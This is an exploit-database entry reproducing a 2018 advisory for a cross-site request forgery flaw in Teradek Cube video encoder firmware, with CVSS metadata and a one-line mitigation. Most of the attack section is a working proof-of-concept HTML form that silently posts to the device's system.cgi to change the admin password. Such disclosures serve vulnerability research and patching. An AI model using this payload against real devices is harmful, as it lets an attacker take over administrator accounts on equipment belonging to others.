Teradek Cube 7.3.6 CSRF Change Password Exploit

vendor:

Cube

by:

Gjoko 'LiquidWorm' Krstic

8.8

CVSS

HIGH

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: Cube

Affected Version From: Firmware Version: 7.3.6 (build 26850)

Affected Version To: Teradek Firmware Version 7.3.15

Patch Exists: YES

Related CWE: N/A

CPE: h:teradek:cube

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: lighttpd/1.4.31

2018

Teradek Cube 7.3.6 CSRF Change Password Exploit

The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.

Mitigation:

Validate all user input and ensure that requests are coming from trusted sources.

Source

Exploit-DB raw data:

<!--

Teradek Cube 7.3.6 CSRF Change Password Exploit


Vendor: Teradek, LLC
Product web page: https://www.teradek.com
Affected version: Firmware Version: 7.3.6 (build 26850)
                  Hardware Version: 1.5
                  Teradek Firmware Version 7.3.15


Summary: Cube packs world-class video quality into a rugged, portable
chassis for quick IP video deployments at any location. Each encoder
and decoder includes HDMI and 3G-SDI I/O, Ethernet / WiFI connectivity,
and full duplex IFB.

Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.

Tested on: lighttpd/1.4.31


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5464
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5464.php


02.03.2018

-->


<html>
  <body>
    <form action="http://127.0.0.1/cgi-bin/system.cgi" method="POST">
      <input type="hidden" name="command" value="password" />
      <input type="hidden" name="pw1" value="P@ssw0rd" />
      <input type="hidden" name="pw2" value="P@ssw0rd" />
      <input type="hidden" name="user" value="admin" />
      <input type="hidden" name="action" value="Change&#32;Password" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>